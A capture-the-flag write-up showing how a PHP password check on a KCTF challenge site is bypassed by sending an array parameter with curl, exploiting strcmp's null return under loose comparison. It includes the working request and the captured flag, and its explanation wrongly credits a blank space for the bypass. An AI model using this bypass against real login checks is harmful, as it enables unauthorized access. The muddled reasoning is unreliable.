First of all we go into the website html and we see a comment: 
It tells us that we can view the source code if we will send source param, so we try to send it via GET first, https://find-pass-code-one.kshackzone.com/?source
and it works, now we have the page source code:```";     } }
if (isset($_GET["source"])) {
    print show_source(__FILE__); }
?>```
we see by this line: `if (isset($_POST["pass_code"]))`
that we have to set the pass_code to something, and to get the flag we need to pass this compare:
`if (strcmp($_POST["pass_code"], $flag) == 0 )`
now in php null==0 returns true and strcmp(nothing, anything) will always return null,
so we try to give it nothing, a space(%20 if it was via GET but its in post so we can just write " ")
we will do it with curl but you can do it with anything you like:
$ curl -X POST -d "pass_code[]= " https://find-pass-code-one.kshackzone.com/
and we get the flag:
KCTF Flag : KCTF{ShOuLd_We_UsE_sTrCmP_lIkE_tHaT}
